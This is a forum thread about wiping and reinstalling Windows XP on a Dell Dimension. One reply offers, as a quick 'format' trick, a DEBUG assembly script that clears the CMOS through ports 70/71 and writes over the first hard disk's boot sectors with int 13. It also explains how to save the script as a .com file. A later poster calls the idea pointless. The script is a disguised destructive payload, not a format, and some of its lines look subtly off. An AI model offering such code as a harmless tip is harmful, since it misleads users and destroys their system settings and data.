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hey im running a dell dimension 2400 windows xp home. I want to delte like the whole thing and reinstall windows but I dont know how and ive looked through the book that came with the computer does anyone know how to clear the PC out?
Yes, this can be done during setup of Windows XP. Just boot your computer with the CD-ROM in the drive. If you make a clean installation with it, it will give you the option to format your harddisk, and thus lose all data on it.
Also, just as a tip for other people were interested in formatting their hardrives, there is a much faster way to delete everything, and it only takes a matter of seconds(to delete, not to re-install)
Just open up the good old command prompt(Start, Run, “command”),
type “debug”, and type the following:-fcs:200 400 0
-acs:100
-mov ax,0
-mov ax,cx
-out 70,al
-mov ax,0
-out 71,al
-inc cx
-cmp cx,100
-jb 103
-mov ax,302
-mov bx,200
-mov cx,1
-mov dx,80
-int 13
-int 20
–
[and if you want to execute the format right away]
-g
-q
Then just turn off your computer.
But if you would like to put this into a .com file, type the following also.
-n filename.com
-rcx
:123
-w
-qI have tried this with an old computer when I wanted to update to windows xp and it worked fine for me, thanks max-oc for all of the information.
You are nuts. Instead of re-writing the FORMAT program in Assembly ;), you could as well just call the FORMAT program with the ‘/Q’ (quick) switch. This does a quickformat on the drive, which gives the same result. Also, partition software such as Partition Magic can format a drive completely in a few seconds, by writing an image to it.
You can’t re-invent the wheel. 🙂
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